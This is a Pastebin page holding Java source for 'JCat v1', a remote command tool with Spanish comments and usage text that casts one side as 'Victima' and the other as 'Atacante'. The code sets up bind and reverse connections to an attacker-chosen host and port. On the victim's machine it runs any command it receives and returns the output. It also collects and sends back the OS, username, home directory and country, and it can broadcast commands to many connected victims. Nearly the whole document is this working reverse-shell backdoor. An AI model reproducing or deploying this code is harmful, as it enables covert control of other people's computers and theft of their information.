Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import java.io.DataInputStream;
- import java.io.DataOutputStream;
- import java.io.IOException;
- import java.net.ServerSocket;
- import java.net.Socket;
- import java.io.BufferedReader;
- import java.io.InputStreamReader;
- import java.util.ArrayList;
- import java.util.Random;
- import java.net.InetAddress;
- /*
- * -Conexion Directa- Informacion: nos aprovechamos del flujo de salida del
- * cliente y del de entrada del servidor. Utilizamos el Cliente para enviar
- * datos Salida. El Servidor la recive y la procesa
- *
- * Ventaja: Ninguna.
- *
- * Desventaja: Al reiniciar el router cambiamos de IP y perdemos a la victima
- * hay que abrir un puerto en el router de la victima.
- * -----------------------------------------------------------------------------
- *
- * -Conexion Inversa- Informacion: nos aprovechamos del flujo de salida del
- * Servidor y del de entrada del Cliente. Utilizamos el Servidor para enviar
- * datos por su Salida. El Cliente la recive y la procesa
- *
- * Ventaja: en la victima se predefine nuestra DNS Dinamica (cada x tiempo
- * actualiza la ip a la que esta apuntando y vuelve a apuntar a la nueva) el
- * puerto se habre en nuestro PC
- *
- * Desventaja: el puerto se habre en nuestro PC.
- *
- */
- class JCat {
- public static int Port;
- public static String IP;
- public static void main(String[] args) {
- if (true) {
- if (args.length > 0) {
- //if (argsS1.equals("1") && argsS2.equals("1")) {
- if (args[0].equals("1") && args[1].equals("1")) {
- ConexionDirectaServidor a = new ConexionDirectaServidor();
- a.start();
- }
- //if (argsS1.equals("1") && argsS2.equals("2")) {
- if (args[0].equals("1") && args[1].equals("2")) {
- ConexionDirectaCliente a = new ConexionDirectaCliente();
- a.start();
- }
- //if (argsS1.equals("2") && argsS2.equals("1")) {
- if (args[0].equals("2") && args[1].equals("1")) {
- ConexionInversaServidor a = new ConexionInversaServidor();
- a.setMode(2);
- a.start();
- }
- //if (argsS1.equals("2") && argsS2.equals("2")) {
- if (args[0].equals("2") && args[1].equals("2")) {
- ConexionInversaCliente a = new ConexionInversaCliente();
- a.start();
- }
- if(args[2] != null){
- Port = (Integer.parseInt(args[2]));
- }
- try{
- if(args[3] != null){
- IP = args[3];
- }else{
- IP = "";
- }
- }catch(ArrayIndexOutOfBoundsException e){}
- }else {
- System.out.println(" ");
- System.out.println(" Uo ");
- System.out.println(" Mb$QU ");
- System.out.println(" MMMMMMMMMMMM$ ");
- System.out.println(" MMMMMMMMMMMM@$EIMMMMMMMMMM# ");
- System.out.println(" MMMMMMMMMMMMMMMMMMMMMMMMMMMMzi..v#M@ ");
- System.out.println(" MMMMMMMMMMMM@M@@@@@@#@$#$@MMMMM#@MME :MM@ ");
- System.out.println(" 0@MMMMMMM@@@MMMMMMMMMMMMMMMMMMMMMM91@MMMMi iM#@ ");
- System.out.println(" MMMMMMM#@MMMMMMMMMMMMMMMMMMMMMMMMMM .MMMME M#Q@ ");
- System.out.println(" #MMMMM#@MMMMMMMMMMMMMMMMMMMMMMMMMMMMM$BMMMM$ 8MWQE$M ");
- System.out.println(" AMMMM#@MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM@97c: 0MWWEE9W ");
- System.out.println(" :MMM#@MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM@MM#IoU#MMBBWW0Q6,.. ");
- System.out.println(" CMMM#MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM@MMMMMM@$#$$WE7:,,. ");
- System.out.println(" .MMM#MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM@@#087i.... ");
- System.out.println(" MMM@MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM0niictYYvcv;,.. ");
- System.out.println(" 0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMB:.... ");
- System.out.println(" MMMMMMMMMMMMMMMMMMMMMMMMMM0t7MMMMM,.;i,. ");
- System.out.println(" XMMMMMMMMMMMMMMMMMMMMMM8Y, ,MMMM#.,;i.. ");
- System.out.println(" MMMMMMMMMMMMMMMMMMMMM#c. ... .MMMM8 ,;i.. ");
- System.out.println(" MMMMMMMMMMMMMMMMMMMMMMMMM$7..,. QMM@b..ii.. ");
- System.out.println(" MMMMMMMMMMMMMMMMMMMMMMMMMMM@z,,: :b$$QY;i,.. ");
- System.out.println(" MMMMMMMMMMMMMMMMMMMMMMMMMMMMM@Y YE BWEbWE;i,.. ");
- System.out.println(" MMMMMMMMMMMMM7.......,72B@MMMMMzQ@@@MM$o9;i,.. ");
- System.out.println(" MMMMMMMMMMMM,.,, ,vb#MM@EA@MM9Y;i,.. ");
- System.out.println(" MMMMMMMMMMM.,i,. .6W$1#MMM;i,.. ");
- System.out.println(" MMMMMMMMMM:,i:. 1#MMM;i,.. ");
- System.out.println(" $MMMMMMMMC.ii.. ");
- System.out.println(" YMMMMMMM@,:;,. ");
- System.out.println(" MMMMMMMU.;i,. JCat v1 ");
- System.out.println(" EMMMMMM7.;i.. .. Developed by MichB ");
- System.out.println(" MMMMMMC.c:, .I$MM@b1:..:.. 18/06/12 ");
- System.out.println(" XMMMMMz.;;. 7MMWSSA$M@2,.i:,. ");
- System.out.println(" QMMMM@.:;,.MM. ,b$9,.i:, ");
- System.out.println(" @MMMM6 :i.0@. :8C Ubo..i,. ");
- System.out.println(" @MMM@z.:.,Z#bE$8,. vSU,.i:. ");
- System.out.println(" EMMM@bi,..,:.. X1ti.;:. ");
- System.out.println(" ;@MM@#9Xi,.....inzn7,;i,. ");
- System.out.println(" YW@@##BbEbbZ8A6S7,i:,. ");
- System.out.println(" .X600QEb6ASCi,... ");
- System.out.println("\nEjemplo: Cliente envia comandos a Servidor y este le devuelve el resultado\n");
- //cliente envia comando y recive respuesta del servidor
- System.out.println("Servidor Conexion Directa -> java JCat 1 1 5000 <- Victima");
- System.out.println("Cliente Conexion Directa -> java JCat 1 2 5000 192.168.12.2 <- Atacante");
- System.out.println("\nEjemplo: Servidor envia comandos al Cliente y este le devuelve el resultado\n");
- //servidor envia comando y recive respuesta del cliente
- System.out.println("Servidor Conexion Inversa -> java JCat 2 1 5000 <- Atacante");
- System.out.println("Cliente Conexion Inversa -> java JCat 2 2 5000 192.168.12.2 <- Victima\n");
- System.out.println("\nModos del Servidor Conexion Inversa: \n(0) Significa que envia primero un comando al cliente X y otro diferente al cliente Y y asi sucesivamente;");
- System.out.println("(1) Significa que envia un mismo comando y se ejecuta en todos los clientes conectados X,Y,Z;");
- System.out.println("\tNo hay limite de clientes para los 2 Modos\n");
- System.exit(-1);
- //}
- }
- }
- }
- }
- class ConexionDirectaServidor extends Thread{
- private ServerSocket escucha3;
- private Socket conexion3;
- //private static Thread hebraServidor3;
- //private static String mensaje3;
- private int veces=0;
- static ArrayList<Integer> HASHs = new ArrayList<Integer>();
- ConexionDirectaServidor(){}
- ConexionDirectaServidor(int veces){
- this.veces = veces;
- }
- public void run () {
- try {
- int puerto = JCat.Port;
- //int puerto = 5000;
- escucha3 = new ServerSocket(puerto);
- BufferedReader br = null;
- String sTexto = "";
- System.out.println("\n*---------------------------------*");
- System.out.println("* Conexión D. SERVIDOR *");
- System.out.println("*---------------------------------*\n");
- System.out.println("Escuchando en el puerto: " + puerto +"\n");
- System.out.println("Servidor a la escucha...\n");
- System.out.println("\nEscriba en el Cliente...");
- if(puerto == 0){
- System.out.println("Muy seguido esperando 3 segundos antes de intentar poner de nuevo el servidor a la escucha\n");
- try {
- this.sleep(3000);
- } catch (InterruptedException exa) {
- System.out.println(exa);
- }
- System.out.println("Intento: "+veces+"\n");
- ConexionDirectaServidor a = new ConexionDirectaServidor(veces++);
- a.start();
- }
- while (true) {
- conexion3 = escucha3.accept();
- //DataOutputStream salida = new DataOutputStream(conexion3.getOutputStream());
- Runnable nuevoCliente = new HiloDeCliente(conexion3);
- Thread hilo = new Thread(nuevoCliente);
- hilo.start();
- try {
- hilo.sleep(2000);
- } catch (InterruptedException exa) {
- System.out.println(exa);
- }
- }
- } catch (IOException ex) {
- System.out.println("Mensaje de Error! -> "+ex);
- if(ex.equals("java.net.BindException: Address already in use")){
- System.out.println("Posiblemente se encuentra está u otra aplicación ocupando este puerto");
- }
- }
- }
- }
- // Implementa Runnable para poder ser lanzada en un hilo aparte
- class HiloDeCliente implements Runnable
- {
- // En el constructor recibe y guarda los parámetros que sean necesarios.
- // En este caso una lista con toda la conversación y el socket que debe
- // atender.
- private String osName = System.getProperty ( "os.name" );
- private String Arch = System.getProperty ( "os.arch" );
- private String Version = System.getProperty ( "os.version" );
- private String SP = System.getProperty ( "sun.os.patch.level" );
- private String Country = System.getProperty ( "user.country" );
- private String dirUserHome = System.getProperty ( "user.home" );
- private String Lang = System.getProperty ( "user.language" );
- private String userName = System.getProperty ( "user.name" );
- private String VersionJV = System.getProperty ( "java.vm.version" );
- private String Direccion;
- private String Direccion2;
- private String[] arrayDatos = {osName, Arch, Version, SP, Country, dirUserHome, Lang, userName, VersionJV, Direccion, Direccion2};
- private Socket conexion3;
- private int HASH;
- public HiloDeCliente(Socket socket)
- {
- try{
- InetAddress address = InetAddress.getLocalHost();
- String Direccion = address.getHostAddress();
- String Direccion2 = address.getCanonicalHostName();
- } catch (java.net.UnknownHostException e) {
- }
- conexion3 = socket;
- }
- public void run ()
- {
- try {
- DataInputStream entrada = new DataInputStream(conexion3.getInputStream());
- DataOutputStream salida = new DataOutputStream(conexion3.getOutputStream());
- System.out.println("\nCliente Conectado...");
- HASH = entrada.readInt();
- System.out.println("Identificador del Cliente: "+HASH);
- if(!ConexionDirectaServidor.HASHs.contains(HASH)){
- ConexionDirectaServidor.HASHs.add(HASH);
- for(int i=0;i<arrayDatos.length;i++)
- if(arrayDatos[i]==null)
- arrayDatos[i]="null";
- salida.writeUTF("| S.O.: " + arrayDatos[0] + "\n| Arquitectura: " + arrayDatos[1] + "\n| Version: " + arrayDatos[2]
- + "\n| Service Pack: " + arrayDatos[3] + "\n| Pais: " + arrayDatos[4] + "\n| Dir User Home: " + arrayDatos[5] + "\n| Lenguaje: "
- + arrayDatos[6] + "\n| Nombre Usuario: " + arrayDatos[7] + "\n| Java Version: " + arrayDatos[8] + "\n| Direccion: " + arrayDatos[9] + "\n| Direccion2: " + arrayDatos[10]);
- }
- String comando = entrada.readUTF();
- System.out.println("Comando del Cliente: " + comando);
- new Ejecutor().executeCommand(comando, false, conexion3);
- // Código para atender al cliente.
- } catch (IOException ex) {
- //System.out.println(ex);
- }
- //System.out.println("Cierre de conexion del cliente");
- }
- }
- class ConexionDirectaCliente extends Thread {
- private Socket conexion4;
- private static Thread hebraServidor4;
- private static String mensaje3;
- private Random rnd = new Random();
- private int HASH;
- private boolean continuar=true;
- private int contador;
- ConexionDirectaCliente(){
- HASH = (rnd.nextInt() * 10000);
- contador=0;
- }
- public void run() {
- //System.out.println("Ejemplo Conexion Directa Yo soy Cliente");
- //System.out.println("Solo Envio al Servidor");
- System.out.println("\n*---------------------------------*");
- System.out.println("* Conexión D. CLIENTE *");
- System.out.println("*---------------------------------*\n");
- if(continuar){
- while (true) {
- String ip = JCat.IP;
- //String ip = "192.168.13.240";
- int puerto = JCat.Port;
- //int puerto = 5000;
- try {
- conexion4 = new Socket(ip, puerto);
- BufferedReader br = null;
- String sTexto = "";
- DataInputStream entrada = new DataInputStream(conexion4.getInputStream());
- DataOutputStream salida = new DataOutputStream(conexion4.getOutputStream());
- //enviamos
- salida.writeInt(HASH);
- //salida.writeUTF(System.getProperty("os.name"));
- //salida.writeUTF(System.getProperty("user.name"));
- //recivimos
- //System.out.println("lo recivo yo el Cliente " + entrada.readUTF());
- br = new BufferedReader(new InputStreamReader(System.in));
- System.out.println("Conectado al Servidor...\n");
- System.out.println("-----------------------------------");
- System.out.println("| Mi Identificador: "+HASH);
- System.out.println("-----------------------------------");
- if(contador==0){
- System.out.println("| [+] Información del Servidor [+] |");
- System.out.println("-----------------------------------");
- System.out.println(entrada.readUTF());
- System.out.println("-----------------------------------");
- contador++;
- }
- try {
- System.out.printf("\tComando: %s",sTexto = br.readLine());
- //enviamos
- salida.writeUTF(sTexto);
- } catch (IOException io) {
- io.printStackTrace();
- }
- //COMANDOS
- System.out.println(entrada.readUTF());
- } catch (IOException ex) {
- //break;
- if(ex.getMessage().equals("Can't assign requested address")){
- System.out.println("Muy seguido esperando 3 segundos antes de intentar conectar de nuevo con el servidor\n");
- try {
- this.sleep(3000);
- } catch (InterruptedException exa) {
- System.out.println(exa);
- }
- ConexionDirectaCliente a = new ConexionDirectaCliente();
- a.start();
- continuar = false;
- break;
- }
- }
- }
- }
- }
- }
- class ConexionInversaServidor extends Thread {
- private ServerSocket escucha3;
- static Socket conexion3;
- //private static Thread hebraServidor3;
- //private static String mensaje3;
- //private String MSJ=null;
- //static primera a;
- //static String textoTeclado;
- static ArrayList<Integer> HASHs = new ArrayList<Integer>();
- static ArrayList<Socket> p = new ArrayList<Socket>();
- static int Mode;
- private boolean continuar=true;
- private int HASH;
- boolean debugging=true;
- int contador=0;
- public void setMode(int predefinido){
- try{
- try{
- if(predefinido==2){
- BufferedReader br = null;
- String sTexto="";
- System.out.println("\nMode: (0)[ 1 a 1; 1 a 2; etc ], (1)[ Multicast 1 a todos]");
- br = new BufferedReader(new InputStreamReader(System.in));
- System.out.printf("\tModo: (%s) \n",sTexto = br.readLine());
- Mode=Integer.parseInt(sTexto);
- }else{
- Mode=predefinido;
- }
- } catch (NumberFormatException exe) {
- System.out.println("Mensaje de Error! -> "+exe.getMessage());
- }
- } catch (IOException ex) {
- System.out.println("Mensaje de Error! -> "+ex.getMessage()+" Se espera 0 o 1");
- }
- }
- public void run() {
- try {
- int puerto = JCat.Port;
- escucha3 = new ServerSocket(puerto);
- System.out.println("\n*---------------------------------*");
- System.out.println("* Conexión I. SERVIDOR *");
- System.out.println("*---------------------------------*\n");
- System.out.println("Escuchando en el puerto: " + puerto +"\n");
- if(puerto == 0){
- continuar = false;
- System.out.println("Muy seguido espera 3 segundos antes de poner de nuevo el servidor a la escucha\n");
- try {
- this.sleep(3000);
- } catch (InterruptedException exa) {
- System.out.println(exa);
- }
- ConexionInversaServidor a = new ConexionInversaServidor();
- a.setMode(Mode);
- a.start();
- }
- if(continuar){
- System.out.println("Servidor a la escucha...\n");
- Teclado Teclad = new Teclado();
- Teclad.start();
- while (true) {
- conexion3 = escucha3.accept();
- DataOutputStream salida = new DataOutputStream(conexion3.getOutputStream());
- DataInputStream entrada = new DataInputStream(conexion3.getInputStream());
- //System.out.println("INICIO");
- HASH =entrada.readInt();
- System.out.println("-----------------------------------");
- System.out.println("| ID Cliente: "+HASH);
- System.out.println("-----------------------------------");
- if(!HASHs.contains(HASH)){
- HASHs.add(HASH);
- System.out.println("| [+] Información del Cliente [+] |");
- System.out.println("-----------------------------------");
- System.out.println(entrada.readUTF());
- System.out.println("-----------------------------------");
- }
- if(contador==0){
- contador++;
- }
- //System.out.println("Tamaño -> "+p.size() );
- primera Conexion = new primera(conexion3);
- //Thread hilo1 = new Thread(Conexion);
- Conexion.start();
- p.add(conexion3);
- if(debugging)
- System.out.println("añadidos al array "+p.size());
- //System.out.println("FIN");
- }
- }
- } catch (IOException ex) {
- ex.printStackTrace();
- }
- }
- static public void envioTextoTeclado0(String sTexto) {
- //System.out.println("Comprobacion 2 Tamaño -> "+p.size() );
- if(Mode == 0){
- try{
- for(int i=0;i<p.size();i++){
- Socket con = p.get(i);
- //System.out.println("Cliente: "+i);
- DataOutputStream salida = new DataOutputStream(con.getOutputStream());
- DataInputStream entrada = new DataInputStream(con.getInputStream());
- salida.writeUTF(sTexto);
- System.out.println(entrada.readUTF());
- synchronized (p.get(i)) {
- //System.out.println("Soy 2 desperte a uno");
- p.get(i).notify();
- //System.out.println("Soy 2 y continua uno");
- }
- p.remove(p.get(i));
- }
- //System.out.println("hashcode -> "+p.get(0).hashCode() );
- //System.out.println("hashcode -> "+p.get(1).hashCode() );
- } catch (IOException ex) {
- ex.printStackTrace();
- }
- }
- if(Mode == 1){
- try{
- for(int i=0;i<p.size();i++){
- Socket con = p.get(i);
- //System.out.println("Cliente: "+i);
- DataOutputStream salida = new DataOutputStream(con.getOutputStream());
- DataInputStream entrada = new DataInputStream(con.getInputStream());
- salida.writeUTF(sTexto);
- System.out.println(entrada.readUTF());
- }
- for(int i=0;i<p.size();i++){
- synchronized (p.get(i)) {
- //System.out.println("Soy 2 desperte a uno");
- p.get(i).notify();
- //System.out.println("Soy 2 y continua uno");
- }
- }
- //p.remove(p.get(0));
- //p.remove(p.get(1));
- //System.out.println("hashcode -> "+p.get(0).hashCode() );
- //System.out.println("hashcode -> "+p.get(1).hashCode() );
- } catch (IOException ex) {
- ex.printStackTrace();
- }
- }
- }
- /**
- */
- }
- class primera extends Thread {
- private Socket conexion3;
- boolean debugging=true;
- primera(Socket socket){
- conexion3 = socket;
- if(debugging)
- System.out.println("Me llamo "+getName());
- }
- public void run() {
- synchronized (conexion3) {
- if(debugging)
- System.out.println("uno me voy a dormir");
- try {
- conexion3.wait();
- } catch (InterruptedException ex) {
- System.out.println(ex);
- }
- if(debugging)
- System.out.println("uno me desperte");
- if(ConexionInversaServidor.Mode == 1){
- if(debugging)
- System.out.println(ConexionInversaServidor.p.get(0).hashCode());
- ConexionInversaServidor.p.remove(ConexionInversaServidor.p.get(0));
- if(debugging)
- System.out.println("Tamaño reducido: "+ConexionInversaServidor.p.size()+"\n");
- }
- }
- }
- }
- class Teclado extends Thread
- {
- private BufferedReader br = null;
- private String sTexto = "";
- private int contador=0;
- public void run(){
- boolean t=true;
- while(t){
- try{
- System.out.println("nombre:"+getName());
- try {
- this.sleep(300);
- } catch (InterruptedException exa) {
- System.out.println(exa);
- }
- System.out.println("Teclee Comandos:");
- br = new BufferedReader(new InputStreamReader(System.in));
- System.out.printf("\tComando: %s \n",sTexto = br.readLine());
- if(sTexto=="fin"){
- t=false;
- System.exit(-1);
- }
- ConexionInversaServidor.envioTextoTeclado0(sTexto);
- } catch (IOException ex) {
- System.out.println(ex);
- }
- }
- }
- }
- class ConexionInversaCliente extends Thread {
- private Socket conexion4;
- private static Thread hebraServidor4;
- private Random rnd = new Random();
- private int HASH;
- private int contador;
- private String osName = System.getProperty ( "os.name" );
- private String Arch = System.getProperty ( "os.arch" );
- private String Version = System.getProperty ( "os.version" );
- private String SP = System.getProperty ( "sun.os.patch.level" );
- private String Country = System.getProperty ( "user.country" );
- private String dirUserHome = System.getProperty ( "user.home" );
- private String Lang = System.getProperty ( "user.language" );
- private String userName = System.getProperty ( "user.name" );
- private String VersionJV = System.getProperty ( "java.vm.version" );
- private String[] arrayDatos = {osName, Arch, Version, SP, Country, dirUserHome, Lang, userName, VersionJV};
- ConexionInversaCliente(){
- HASH = (rnd.nextInt() * 10000);
- contador=0;
- }
- public void run() {
- String ip = JCat.IP;
- int puerto = JCat.Port;
- try {
- System.out.println("\n*---------------------------------*");
- System.out.println("* Conexión I. CLIENTE *");
- System.out.println("*---------------------------------*");
- while (true) {
- conexion4 = new Socket(ip, puerto);
- try {
- DataInputStream entrada = new DataInputStream(conexion4.getInputStream());
- DataOutputStream salida = new DataOutputStream(conexion4.getOutputStream());
- salida.writeInt(HASH);
- if(contador==0){
- contador++;
- for(int i=0;i<arrayDatos.length;i++)
- if(arrayDatos[i]==null)
- arrayDatos[i]="null";
- salida.writeUTF("| S.O.: " + arrayDatos[0] + "\n| Arquitectura: " + arrayDatos[1] + "\n| Version: " + arrayDatos[2]
- + "\n| Service Pack: " + arrayDatos[3] + "\n| Pais: " + arrayDatos[4] + "\n| Dir User Home: " + arrayDatos[5] + "\n| Lenguaje: "
- + arrayDatos[6] + "\n| Nombre Usuario: " + arrayDatos[7] + "\n| Java Version: " + arrayDatos[8]);
- }
- System.out.println("\nConexion realizada...");
- System.out.println("\nEscriba en el Servidor...");
- System.out.println("Mi Identificador: "+HASH);
- String comando = entrada.readUTF();
- System.out.println("Comando del Cliente: " + comando);
- new Ejecutor().executeCommand(comando, false, conexion4);
- try {
- this.sleep(2000);
- } catch (InterruptedException exa) {
- System.out.println(exa);
- }
- } catch (IOException ex) {
- System.out.println(ex.getMessage());
- }
- }
- } catch (IOException ex) {
- System.out.println("Mensaje de Error! -> "+ex.getMessage());
- if(ex.getMessage().equals("Can't assign requested address")){
- System.out.println("Muy seguido esperando 3 segundos antes de intentar conectar de nuevo con el servidor\n");
- try {
- this.sleep(3000);
- } catch (InterruptedException exa) {
- System.out.println(exa);
- }
- ConexionInversaCliente a = new ConexionInversaCliente();
- a.start();
- }
- if(ex.getMessage().equals("Connection refused")){
- System.out.println("No encontrado servidor a la escucha\n");
- }
- }
- }
- }
- class Ejecutor{
- private String commandShell;
- private Socket conexion3;
- public void executeCommand(String command, boolean flagbackground, Socket socket) {
- commandShell = null;
- conexion3 = socket;
- try {
- DataOutputStream salida = new DataOutputStream(conexion3.getOutputStream());
- String osName = System.getProperty("os.name");
- if (osName.equals("Windows NT")) {
- commandShell = "cmd.exe /C " + command;
- } else if (osName.equals("Windows 95") || osName.equals("Windows 98")) {
- commandShell = "start " + command;
- } else {
- if (flagbackground) {
- commandShell = "" + command + " &";
- } else {
- commandShell = "" + command;
- }
- }
- try {
- Process proc = Runtime.getRuntime().exec(commandShell);
- BufferedReader brStdOut = new BufferedReader(new InputStreamReader(proc.getInputStream()));
- BufferedReader brStdErr = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
- String str;String strTodo= "";
- while ((str = brStdOut.readLine()) != null) {
- strTodo+=str+"\n";
- }
- salida.writeUTF("\tResponse: "+strTodo);
- brStdOut.close();
- brStdErr.close();
- } catch (IOException eproc) {
- System.out.println("Comando desconocido ");
- salida.writeUTF("\tResponse: Comando desconocido\n");
- }
- } catch (IOException ex) {
- System.out.println(ex.getMessage());
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement